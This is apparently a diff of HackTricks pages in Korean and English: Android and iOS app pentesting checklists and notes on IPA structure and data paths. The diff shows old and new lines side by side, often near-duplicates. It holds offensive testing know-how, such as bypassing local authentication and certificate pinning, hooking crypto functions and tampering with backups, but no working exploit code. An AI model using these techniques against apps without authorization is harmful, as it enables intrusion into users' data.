> 때때로 애플리케이션이 사용자의 완전한 지식과 동의 하에 작업이 수행되고 있음을 확인할 수 있는 것이 필수적입니다. 예를 들어 권한 요청을 승인하거나, 구매를 하거나, 광고를 클릭하는 경우입니다. 불행히도, 악성 애플리케이션은 사용자가 의도된 뷰의 목적을 알지 못한 채 이러한 작업을 수행하도록 속이려고 할 수 있습니다. 이를 해결하기 위해 프레임워크는 민감한 기능에 대한 접근을 개선하기 위해 사용할 수 있는 터치 필터링 메커니즘을 제공합니다.
> 때때로 애플리케이션이 사용자의 완전한 지식과 동의 하에 작업이 수행되고 있음을 확인할 수 있는 것이 필수적입니다. 예를 들어 권한 요청을 승인하거나, 구매를 하거나, 광고를 클릭하는 경우입니다. 불행히도, 악성 애플리케이션은 사용자가 의도된 목적을 알지 못한 채 이러한 작업을 수행하도록 속이려고 할 수 있습니다. 이를 해결하기 위해 프레임워크는 민감한 기능에 대한 접근을 개선하기 위해 사용할 수 있는 터치 필터링 메커니즘을 제공합니다.
>
> 터치 필터링을 활성화하려면 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)를 호출하거나 android:filterTouchesWhenObscured 레이아웃 속성을 true로 설정합니다. 활성화되면 프레임워크는 뷰의 창이 다른 보이는 창에 의해 가려질 때 수신된 터치를 무시합니다. 결과적으로, 뷰의 창 위에 토스트, 대화 상자 또는 다른 창이 나타날 때 뷰는 터치를 수신하지 않습니다.
> 터치 필터링을 활성화하려면 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)를 호출하거나 android:filterTouchesWhenObscured 레이아웃 속성을 true로 설정합니다. 활성화되면 프레임워크는 뷰의 창이 다른 보이는 창에 의해 가려질 때 수신된 터치를 무시합니다. 결과, 뷰의 창 위에 토스트, 대화상자 또는 다른 창이 나타날 때 뷰는 터치를 수신하지 않습니다.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**모바일 보안**에 대한 전문성을 심화하세요. 8kSec 아카데미에서 iOS 및 Android 보안을 마스터하고 자격증을 취득하세요:
{% embed url="https://academy.8ksec.io/" %}
### [안드로이드 기초 배우기](android-app-pentesting/#2-android-application-fundamentals)
@ -26,7 +21,7 @@
### [정적 분석](android-app-pentesting/#static-analysis)
- [ ] [난독화](android-checklist.md#some-obfuscation-deobfuscation-information) 사용 여부 확인, 모바일이 루팅되었는지, 에뮬레이터가 사용 중인지 및 변조 방지 확인. [자세한 정보는 여기에서 읽어보세요](android-app-pentesting/#other-checks).
- [ ] [난독화](android-checklist.md#some-obfuscation-deobfuscation-information) 사용 여부 확인, 모바일이 루팅되었는지, 에뮬레이터가 사용 중인지 및 변조 방지 확인. [자세한 내용은 여기에서 읽기](android-app-pentesting/#other-checks).
- [ ] 민감한 애플리케이션(예: 은행 앱)은 모바일이 루팅되었는지 확인하고 그에 따라 조치를 취해야 합니다.
- [ ] [흥미로운 문자열](android-app-pentesting/#looking-for-interesting-info) 검색 (비밀번호, URL, API, 암호화, 백도어, 토큰, Bluetooth UUID 등).
- [ ] [파이어베이스](android-app-pentesting/#firebase) API에 특별한 주의.
@ -39,15 +34,15 @@
- [ ] 브로드캐스트 수신기
- [ ] URL 스킴
- [ ] 애플리케이션이 [내부 또는 외부에 데이터를 안전하지 않게 저장하고 있는지](android-app-pentesting/#insecure-data-storage)?
- [ ] [하드코딩된 비밀번호 또는 디스크에 저장된 비밀번호가 있는지](android-app-pentesting/#poorkeymanagementprocesses)? 앱이 [안전하지 않은 암호화 알고리즘을 사용하고 있는지](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
- [ ] [하드코딩된 비밀번호 또는 디스크에 저장된 비밀번호](android-app-pentesting/#poorkeymanagementprocesses)가 있는지? 앱이 [안전하지 않은 암호화 알고리즘을 사용하고 있는지](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
- [ ] 모든 라이브러리가 PIE 플래그를 사용하여 컴파일되었는가?
- [ ] 이 단계에서 많은 도움이 될 수 있는 [정적 Android 분석기](android-app-pentesting/#automatic-analysis)를 잊지 마세요.
- [ ] 이 단계에서 많은 도움을 줄 수 있는 [정적 Android 분석기](android-app-pentesting/#automatic-analysis)가 있다는 것을 잊지 마세요.
### [동적 분석](android-app-pentesting/#dynamic-analysis)
- [ ] 환경 준비 ([온라인](android-app-pentesting/#online-dynamic-analysis), [로컬 VM 또는 물리적](android-app-pentesting/#local-dynamic-analysis))
- [ ] [의도치 않은 데이터 유출](android-app-pentesting/#unintended-data-leakage) (로그, 복사/붙여넣기, 크래시 로그) 여부?
- [ ] [SQLite DB에 기밀 정보가 저장되고 있는지](android-app-pentesting/#sqlite-dbs)?
- [ ] [의도치 않은 데이터 유출](android-app-pentesting/#unintended-data-leakage) (로그, 복사/붙여넣기, 크래시 로그) 여부 확인?
- [ ] [SQLite DB에 저장된 기밀 정보](android-app-pentesting/#sqlite-dbs)?
- [ ] [악용 가능한 노출된 액티비티](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
- [ ] [악용 가능한 콘텐츠 제공자](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
- [ ] [악용 가능한 노출된 서비스](android-app-pentesting/#exploiting-services)?
@ -56,16 +51,11 @@
- [ ] [HTTP/HTTPS 트래픽 검사](android-app-pentesting/#inspecting-http-traffic)
- [ ] 이 부분은 정말 중요합니다. HTTP 트래픽을 캡처할 수 있다면 일반적인 웹 취약점을 검색할 수 있습니다 (Hacktricks에는 웹 취약점에 대한 많은 정보가 있습니다).
- [ ] 가능한 [안드로이드 클라이언트 측 주입](android-app-pentesting/#android-client-side-injections-and-others) 확인 (아마도 일부 정적 코드 분석이 도움이 될 것입니다)
- [ ] [Frida](android-app-pentesting/#frida): Frida 사용하여 애플리케이션에서 흥미로운 동적 데이터를 얻으세요 (아마도 비밀번호...)
- [ ] [Frida](android-app-pentesting/#frida): Frida 사용하여 애플리케이션에서 흥미로운 동적 데이터를 얻으세요 (아마도 일부 비밀번호...)
### 일부 난독화/디난독화 정보
- [ ] [여기에서 읽기](android-app-pentesting/#obfuscating-deobfuscating-code)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**모바일 보안**에 대한 전문성을 심화하세요. 8kSec 아카데미에서 iOS 및 Android 보안을 마스터하고 자격증을 취득하세요:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,109 +1,93 @@
# iOS Pentesting Checklist
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../banners/hacktricks-training.md}}
### 준비
### Preparation
- [ ] [**iOS 기본 사항**](ios-pentesting/ios-basics.md) 읽기
- [ ] [**iOS 테스트 환경**](ios-pentesting/ios-testing-environment.md) 읽고 환경 준비하기
- [ ] [**iOS 초기 분석**](ios-pentesting/#initial-analysis)의 모든 섹션을 읽어 iOS 애플리케이션을 펜테스트하는 일반적인 작업을 배우기
- [ ] Read [**iOS Basics**](ios-pentesting/ios-basics.md)
- [ ] Prepare your environment reading [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)
- [ ] Read all the sections of [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) to learn common actions to pentest an iOS application
### 데이터 저장
### Data Storage
- [ ] [**Plist 파일**](ios-pentesting/#plist)은 민감한 정보를 저장하는 데 사용될 수 있습니다.
- [ ] [**Plist files**](ios-pentesting/#plist) can be used to store sensitive information.
- [ ] [**Core Data**](ios-pentesting/#core-data) (SQLite 데이터베이스)는 민감한 정보를 저장할 수 있습니다.
- [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (SQLite 데이터베이스)는 민감한 정보를 저장할 수 있습니다.
- [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) 잘못된 구성.
- [ ] [**Realm 데이터베이스**](ios-pentesting/#realm-databases)는 민감한 정보를 저장할 수 있습니다.
- [ ] [**Couchbase Lite 데이터베이스**](ios-pentesting/#couchbase-lite-databases)는 민감한 정보를 저장할 수 있습니다.
- [ ] [**이진 쿠키**](ios-pentesting/#cookies)는 민감한 정보를 저장할 수 있습니다.
- [ ] [**캐시 데이터**](ios-pentesting/#cache)는 민감한 정보를 저장할 수 있습니다.
- [ ] [**자동 스냅샷**](ios-pentesting/#snapshots)은 시각적 민감한 정보를 저장할 수 있습니다.
- [ ] [**키체인**](ios-pentesting/#keychain)은 일반적으로 전화기를 재판매할 때 남길 수 있는 민감한 정보를 저장하는 데 사용됩니다.
- [ ] 요약하자면, **파일 시스템에 애플리케이션이 저장한 민감한 정보를 확인하세요.**
- [ ] [**Realm databases**](ios-pentesting/#realm-databases)는 민감한 정보를 저장할 수 있습니다.
- [ ] [**Couchbase Lite databases**](ios-pentesting/#couchbase-lite-databases)는 민감한 정보를 저장할 수 있습니다.
- [ ] [**Binary cookies**](ios-pentesting/#cookies)는 민감한 정보를 저장할 수 있습니다.
- [ ] [**Cache data**](ios-pentesting/#cache)는 민감한 정보를 저장할 수 있습니다.
- [ ] [**Automatic snapshots**](ios-pentesting/#snapshots)는 시각적 민감한 정보를 저장할 수 있습니다.
- [ ] [**Keychain**](ios-pentesting/#keychain)은 일반적으로 전화기를 재판매할 때 남길 수 있는 민감한 정보를 저장하는 데 사용됩니다.
- [ ] 요약하면, **파일 시스템에 저장된 애플리케이션의 민감한 정보를 확인하세요.**
### 키보드
### Keyboards
- [ ] 애플리케이션이 [**사용자 정의 키보드 사용을 허용하는지**](ios-pentesting/#custom-keyboards-keyboard-cache) 확인하세요.
- [ ] [**키보드 캐시 파일**](ios-pentesting/#custom-keyboards-keyboard-cache)에 민감한 정보가 저장되어 있는지 확인하세요.
- [ ] Does the application [**allow to use custom keyboards**](ios-pentesting/#custom-keyboards-keyboard-cache)?
- [ ] Check if sensitive information is saved in the [**keyboards cache files**](ios-pentesting/#custom-keyboards-keyboard-cache)
### **로그**
### **Logs**
- [ ] [**민감한 정보가 기록되고 있는지**](ios-pentesting/#logs) 확인하세요.
- [ ] Check if [**sensitive information is being logged**](ios-pentesting/#logs)
### 백업
### Backups
- [ ] [**백업**](ios-pentesting/#backups)은 파일 시스템에 저장된 **민감한 정보에 접근하는 데 사용될 수 있습니다** (이 체크리스트의 초기 포인트 확인).
- [ ] 또한, [**백업**](ios-pentesting/#backups)은 **애플리케이션의 일부 구성을 수정하는 데 사용될 수 있으며**, 그런 다음 **백업을 전화기에 복원하면** **수정된 구성**이 **로드**되어 일부 (보안) **기능**이 **우회**될 수 있습니다.
- [ ] [**Backups**](ios-pentesting/#backups)는 파일 시스템에 저장된 **민감한 정보에 접근하는 데 사용될 수 있습니다** (이 체크리스트의 초기 포인트 확인하세요).
- [ ] 또한, [**backups**](ios-pentesting/#backups)는 **애플리케이션의 일부 구성을 수정하는 데 사용될 수 있으며**, 그런 다음 **백업을 전화기에 복원하면**, **수정된 구성**이 **로드**되면서 일부 (보안) **기능**이 **우회될 수 있습니다.**
### **애플리케이션 메모리**
### **Applications Memory**
- [ ] [**애플리케이션의 메모리**](ios-pentesting/#testing-memory-for-sensitive-data) 내에서 민감한 정보를 확인하세요.
- [ ] Check for sensitive information inside the [**application's memory**](ios-pentesting/#testing-memory-for-sensitive-data)
### **손상된 암호화**
### **Broken Cryptography**
- [ ] [**암호화에 사용된 비밀번호**](ios-pentesting/#broken-cryptography)를 찾을 수 있는지 확인하세요.
- [ ] 민감한 데이터를 전송/저장하기 위해 [**사용 중단된/약한 알고리즘**](ios-pentesting/#broken-cryptography)을 사용하는지 확인하세요.
- [ ] [**암호화 함수 후킹 및 모니터링**](ios-pentesting/#broken-cryptography).
- [ ] Check if you can find [**passwords used for cryptography**](ios-pentesting/#broken-cryptography)
- [ ] Check for the use of [**deprecated/weak algorithms**](ios-pentesting/#broken-cryptography) to send/store sensitive data
- [ ] [**Hook and monitor cryptography functions**](ios-pentesting/#broken-cryptography)
### **로컬 인증**
### **Local Authentication**
- [ ] 애플리케이션에서 [**로컬 인증**](ios-pentesting/#local-authentication)을 사용하는 경우, 인증이 어떻게 작동하는지 확인해야 합니다.
- [ ] [**로컬 인증 프레임워크**](ios-pentesting/#local-authentication-framework)를 사용하는 경우 쉽게 우회될 수 있습니다.
- [ ] [**동적으로 우회할 수 있는 함수**](ios-pentesting/#local-authentication-using-keychain)를 사용하는 경우, 사용자 정의 frida 스크립트를 생성할 수 있습니다.
- [ ] If a [**local authentication**](ios-pentesting/#local-authentication)가 애플리케이션에서 사용된다면, 인증이 어떻게 작동하는지 확인해야 합니다.
- [ ] If it's using the [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework) it could be easily bypassed
- [ ] If it's using a [**function that can dynamically bypassed**](ios-pentesting/#local-authentication-using-keychain) you could create a custom frida script
### IPC를 통한 민감한 기능 노출
### Sensitive Functionality Exposure Through IPC
- [**사용자 정의 URI 핸들러 / 딥링크 / 사용자 정의 스킴**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] 애플리케이션이 **프로토콜/스킴을 등록하고 있는지** 확인하세요.
- [ ] 애플리케이션이 **어떤 프로토콜/스킴을 사용하기 위해 등록하고 있는지** 확인하세요.
- [ ] 애플리케이션이 **어떤 종류의 민감한 정보를 수신할 것으로 예상하는지** 확인하세요. 이 정보는 **동일한 스킴을 등록한 다른 애플리케이션에 의해 가로챌 수 있습니다.**
- [ ] 애플리케이션이 **사용자 입력을 확인하고 정리하지 않는지** 확인하세요. 이로 인해 **취약점이 악용될 수 있습니다.**
- [ ] 애플리케이션이 **어디서든 호출할 수 있는 민감한 작업을 노출하는지** 확인하세요.
- [**유니버설 링크**](ios-pentesting/#universal-links)
- [ ] 애플리케이션이 **유니버설 프로토콜/스킴을 등록하고 있는지** 확인하세요.
- [ ] `apple-app-site-association` 파일을 확인하세요.
- [ ] 애플리케이션이 **사용자 입력을 확인하고 정리하지 않는지** 확인하세요. 이로 인해 **취약점이 악용될 수 있습니다.**
- [ ] 애플리케이션이 **어디서든 호출할 수 있는 민감한 작업을 노출하는지** 확인하세요.
- [**UIActivity 공유**](ios-pentesting/ios-uiactivity-sharing.md)
- [ ] 애플리케이션이 UIActivities를 수신할 수 있는지 확인하고, 특별히 제작된 활동으로 어떤 취약점을 악용할 수 있는지 확인하세요.
- [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] Check if the application is **registering any protocol/scheme**
- [ ] Check if the application is **registering to use** any protocol/scheme
- [ ] Check if the application **expects to receive any kind of sensitive information** from the custom scheme that can be **intercepted** by another application registering the same scheme
- [ ] Check if the application **isn't checking and sanitizing** users input via the custom scheme and some **vulnerability can be exploited**
- [ ] Check if the application **exposes any sensitive action** that can be called from anywhere via the custom scheme
- [**Universal Links**](ios-pentesting/#universal-links)
- [ ] Check if the application is **registering any universal protocol/scheme**
- [ ] Check the `apple-app-site-association` file
- [ ] Check if the application **isn't checking and sanitizing** users input via the custom scheme and some **vulnerability can be exploited**
- [ ] Check if the application **exposes any sensitive action** that can be called from anywhere via the custom scheme
- [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
- [ ] Check if the application can receive UIActivities and if it's possible to exploit any vulnerability with specially crafted activity
- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
- [ ] 애플리케이션이 **일반 클립보드에 무엇인가를 복사하고 있는지** 확인하세요.
- [ ] 애플리케이션이 **일반 클립보드의 데이터를 사용하는지** 확인하세요.
- [ ] 클립보드를 모니터링하여 **민감한 데이터가 복사되는지** 확인하세요.
- [**앱 확장**](ios-pentesting/ios-app-extensions.md)
- [ ] 애플리케이션이 **어떤 확장을 사용하고 있는지** 확인하세요.
- [ ] Check if the application if **copying anything to the general pasteboard**
- [ ] Check if the application if **using the data from the general pasteboard for anything**
- [ ] Monitor the pasteboard to see if any **sensitive data is copied**
- [**App Extensions**](ios-pentesting/ios-app-extensions.md)
- [ ] Is the application **using any extension**?
- [**WebViews**](ios-pentesting/ios-webviews.md)
- [ ] 어떤 종류의 웹뷰가 사용되고 있는지 확인하세요.
- [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**의 상태를 확인하세요.
- [ ] 웹뷰가 **file://** 프로토콜로 **로컬 파일에 접근할 수 있는지** 확인하세요 (**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`**).
- [ ] Javascript가 **네이티브** **메서드**에 접근할 수 있는지 확인하세요 (`JSContext`, `postMessage`).
- [ ] Check which kind of webviews are being used
- [ ] Check the status of **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
- [ ] Check if the webview can **access local files** with the protocol **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
- [ ] Check if Javascript can access **Native** **methods** (`JSContext`, `postMessage`)
### 네트워크 통신
### Network Communication
- [ ] [**통신에 대한 MitM 수행**](ios-pentesting/#network-communication)하고 웹 취약점을 검색하세요.
- [ ] [**인증서의 호스트 이름**](ios-pentesting/#hostname-check)이 확인되는지 확인하세요.
- [ ] [**인증서 고정**](ios-pentesting/#certificate-pinning) 확인/우회하세요.
- [ ] Perform a [**MitM to the communication**](ios-pentesting/#network-communication) and search for web vulnerabilities.
- [ ] Check if the [**hostname of the certificate**](ios-pentesting/#hostname-check) is checked
- [ ] Check/Bypass [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
### **기타**
### **Misc**
- [ ] [**자동 패치/업데이트**](ios-pentesting/#hot-patching-enforced-updateing) 메커니즘을 확인하세요.
- [ ] [**악성 제3자 라이브러리**](ios-pentesting/#third-parties)를 확인하세요.
- [ ] Check for [**automatic patching/updating**](ios-pentesting/#hot-patching-enforced-updateing) mechanisms
- [ ] Check for [**malicious third party libraries**](ios-pentesting/#third-parties)
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -1,13 +1,5 @@
# iOS Pentesting
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}}
## iOS Basics
@ -40,6 +32,11 @@ basic-ios-testing-operations.md
### Basic Static Analysis
흥미로운 iOS - IPA 파일 디컴파일러:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
IPA 파일에 대한 자동 정적 분석을 수행하기 위해 [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) 도구를 사용하는 것이 좋습니다.
**이진 파일에 존재하는 보호 식별**:
@ -142,7 +139,7 @@ grep -iER "_vsprintf"
### Listing Installed Apps
`frida-ps -Uai` 명령을 사용하여 설치된 앱의 **번들 식별자**를 확인하세요:
설치된 앱의 **번들 식별자**를 확인하려면 `frida-ps -Uai` 명령을 사용하세요:
```bash
$ frida-ps -Uai
PID Name Identifier
@ -157,7 +154,7 @@ PID Name Identifier
```
### 기본 열거 및 후킹
애플리케이션의 **구성 요소를 열거하는 방법**과 **objection**을 사용하여 메서드와 클래스를 쉽게 **후킹하는 방법**을 배웁니다:
애플리케이션의 **구성 요소를 열거하는 방법**과 **objection을 사용하여 메서드와 클래스를 쉽게 후킹하는 방법**을 배웁니다:
{{#ref}}
ios-hooking-with-objection.md
@ -165,23 +162,23 @@ ios-hooking-with-objection.md
### IPA 구조
**IPA 파일**의 구조는 본질적으로 **압축된 패키지**의 형태입니다. 확장자를 `.zip`으로 변경하면 **압축 해제**하여 내용을 확인할 수 있습니다. 이 구조 내에서 **Bundle**은 설치 준비가 완료된 완전 패키지 애플리케이션을 나타냅니다. 내부에는 애플리케이션의 리소스를 포함하는 `<NAME>.app`이라는 디렉토리가 있습니다.
**IPA 파일**의 구조는 본질적으로 **압축된 패키지**의 형태입니다. 확장자를 `.zip`으로 변경하면 **압축 해제**하여 내용을 확인할 수 있습니다. 이 구조 내에서 **Bundle**은 설치 준비가 완료된 완전 패키지 애플리케이션을 나타냅니다. 내부에는 애플리케이션의 리소스를 캡슐화하는 `<NAME>.app`이라는 디렉토리가 있습니다.
- **`Info.plist`**: 이 파일은 애플리케이션의 특정 구성 세부정보를 포함합니다.
- **`_CodeSignature/`**: 이 디렉토리에는 번들 내 모든 파일의 무결성을 보장하는 서명이 포함된 plist 파일이 있습니다.
- **`Assets.car`**: 아이콘과 같은 자산 파일을 저장하는 압축 아카이브입니다.
- **`Frameworks/`**: 이 폴더에는 `.dylib` 또는 `.framework` 파일 형식의 애플리케이션 네이티브 라이브러리가 포함되어 있습니다.
- **`PlugIns/`**: 이 폴더에는 `.appex` 파일로 알려진 애플리케이션의 확장이 포함될 수 있지만 항상 존재하는 것은 아닙니다. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): 애플리케이션의 영구 데이터를 오프라인에서 저장하고, 임시 데이터를 캐시하며, 단일 장치에서 앱의 실행 취소 기능을 추가하는 데 사용됩니다. 단일 iCloud 계정의 여러 장치 간에 데이터를 동기화하기 위해 Core Data는 자동으로 스키마를 CloudKit 컨테이너에 미러링합니다.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` 파일은 애플리케이션 또는 번들의 유형 및 성자 코드를 지정하는 대체 방법입니다.
- **`Frameworks/`**: 이 폴더에는 `.dylib` 또는 `.framework` 파일 형식의 애플리케이션 네이티브 라이브러리가 포함되어 있습니다.
- **`PlugIns/`**: 이 디렉토리에는 애플리케이션의 확장인 `.appex` 파일이 포함될 수 있지만 항상 존재하는 것은 아닙니다. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): 애플리케이션의 영구 데이터를 오프라인에서 저장하고, 임시 데이터를 캐시하며, 단일 장치에서 앱의 실행 취소 기능을 추가하는 데 사용됩니다. 단일 iCloud 계정의 여러 장치 간에 데이터를 동기화하기 위해 Core Data는 자동으로 스키마를 CloudKit 컨테이너에 미러링합니다.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` 파일은 애플리케이션 또는 번들의 유형 및 성자 코드를 지정하는 대체 방법입니다.
- **en.lproj, fr.proj, Base.lproj**: 특정 언어에 대한 리소스를 포함하는 언어 팩이며, 언어가 지원되지 않을 경우 기본 리소스를 포함합니다.
- **보안**: `_CodeSignature/` 디렉토리는 디지털 서명을 통해 모든 번들 파일의 무결성을 검증하여 앱의 보안에서 중요한 역할을 합니다.
- **자산 관리**: `Assets.car` 파일은 압축을 사용하여 그래픽 자산을 효율적으로 관리하며, 이는 애플리케이션 성능 최적화 전체 크기 감소에 중요합니다.
- **보안**: `_CodeSignature/` 디렉토리는 디지털 서명을 통해 번들된 모든 파일의 무결성을 검증하여 앱의 보안에서 중요한 역할을 합니다.
- **자산 관리**: `Assets.car` 파일은 압축을 사용하여 그래픽 자산을 효율적으로 관리하며, 이는 애플리케이션 성능 최적화 전체 크기 감소에 중요합니다.
- **프레임워크 및 플러그인**: 이러한 디렉토리는 iOS 애플리케이션의 모듈성을 강조하며, 개발자가 재사용 가능한 코드 라이브러리(`Frameworks/`)를 포함하고 앱 기능을 확장(`PlugIns/`)할 수 있도록 합니다.
- **현지화**: 이 구조는 여러 언어를 지원하여 특정 언어 팩에 대한 리소스를 포함함으로써 글로벌 애플리케이션 도달을 촉진합니다.
**Info.plist**
**Info.plist**는 iOS 애플리케이션의 초석으로, **키-값** 쌍 형태로 주요 구성 데이터를 캡슐화합니다. 이 파일은 애플리케이션뿐만 아니라 번들 내의 앱 확장 및 프레임워크에도 필수적입니다. XML 또는 이진 형식으로 구조화되어 있으며, 앱 권한에서 보안 구성에 이르기까지 중요한 정보를 포함합니다. 사용 가능한 키에 대한 자세한 탐색은 [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)를 참조할 수 있습니다.
**Info.plist**는 iOS 애플리케이션의 초석으로, **키-값** 쌍 형태로 주요 구성 데이터를 캡슐화합니다. 이 파일은 애플리케이션뿐만 아니라 번들 내의 앱 확장 및 프레임워크에도 필수적입니다. XML 또는 이진 형식으로 구되어 있으며, 앱 권한에서 보안 구성에 이르기까지 중요한 정보를 포함합니다. 사용 가능한 키에 대한 자세한 탐색은 [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)를 참조할 수 있습니다.
이 파일을 보다 접근 가능한 형식으로 작업하려는 경우, macOS에서 `plutil`을 사용하여 XML 변환을 쉽게 수행할 수 있습니다(버전 10.2 이상에서 기본적으로 제공됨) 또는 Linux에서 `plistutil`을 사용할 수 있습니다. 변환 명령은 다음과 같습니다:
@ -200,7 +197,7 @@ $ grep -i <keyword> Info.plist
```
**데이터 경로**
iOS 환경에서는 디렉토리가 **시스템 애플리케이션**과 **사용자 설치 애플리케이션**을 위해 특별히 지정됩니다. 시스템 애플리케이션은 `/Applications` 디렉토리에 위치하고, 사용자 설치 앱은 `/var/mobile/containers/Data/Application/` 아래에 배치됩니다. 이러한 애플리케이션은 **128비트 UUID**라는 고유 식별자가 할당되어 있어, 디렉토리 이름의 무작위성 때문에 수동으로 앱의 폴더를 찾는 것이 어렵습니다.
iOS 환경에서는 **시스템 애플리케이션**과 **사용자 설치 애플리케이션**을 위해 특정 디렉토리가 지정됩니다. 시스템 애플리케이션은 `/Applications` 디렉토리에 위치하고, 사용자 설치 앱은 `/var/mobile/containers/Data/Application/` 아래에 배치됩니다. 이러한 애플리케이션은 **128비트 UUID**라는 고유 식별자가 할당되어 있어, 디렉토리 이름의 무작위성 때문에 수동으로 앱의 폴더를 찾는 것이 어렵습니다.
> [!WARNING]
> iOS의 애플리케이션은 샌드박스화되어야 하므로, 각 앱은 **`$HOME/Library/Containers`** 내에 앱의 **`CFBundleIdentifier`**를 폴더 이름으로 가진 폴더도 갖습니다.
@ -231,7 +228,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- **AppName.app**
- 이것은 IPA에서 이전에 본 애플리케이션 번들로, 필수 애플리케이션 데이터, 정적 콘텐츠 및 애플리케이션의 컴파일된 바이너리를 포함합니다.
- 이 디렉토리는 사용자에게 보이지만, **사용자는 여기에 쓸 수 없습니다**.
- 이 디렉토리는 사용자에게 보이지만 **사용자는 여기에 쓸 수 없습니다**.
- 이 디렉토리의 콘텐츠는 **백업되지 않습니다**.
- 이 폴더의 내용은 **코드 서명을 검증하는 데 사용됩니다**.
@ -239,7 +236,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- **Documents/**
- 모든 사용자 생성 데이터를 포함합니다. 애플리케이션 최종 사용자가 이 데이터의 생성을 시작합니다.
- 사용자에게 보이며, **사용자는 여기에 쓸 수 있습니다**.
- 사용자에게 보이며 **사용자는 여기에 쓸 수 있습니다**.
- 이 디렉토리의 콘텐츠는 **백업됩니다**.
- 앱은 `NSURLIsExcludedFromBackupKey`를 설정하여 경로를 비활성화할 수 있습니다.
- **Library/**
@ -247,7 +244,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- iOS 앱은 일반적으로 `Application Support``Caches` 하위 디렉토리를 사용하지만, 앱은 사용자 정의 하위 디렉토리를 생성할 수 있습니다.
- **Library/Caches/**
- **반영구적인 캐시 파일**을 포함합니다.
- 사용자에게 보이지 않으며, **사용자는 여기에 쓸 수 없습니다**.
- 사용자에게 보이지 않으며 **사용자는 여기에 쓸 수 없습니다**.
- 이 디렉토리의 콘텐츠는 **백업되지 않습니다**.
- OS는 앱이 실행되지 않고 저장 공간이 부족할 때 이 디렉토리의 파일을 자동으로 삭제할 수 있습니다.
- **Library/Application Support/**
@ -256,11 +253,11 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- 이 디렉토리의 콘텐츠는 **백업됩니다**.
- 앱은 `NSURLIsExcludedFromBackupKey`를 설정하여 경로를 비활성화할 수 있습니다.
- **Library/Preferences/**
- 애플리케이션이 재시작된 후에도 **지될 수 있는** 속성을 저장하는 데 사용됩니다.
- 애플리케이션이 재시작된 후에도 **될 수 있는** 속성을 저장하는 데 사용됩니다.
- 정보는 암호화되지 않은 상태로 애플리케이션 샌드박스 내의 \[BUNDLE_ID].plist라는 plist 파일에 저장됩니다.
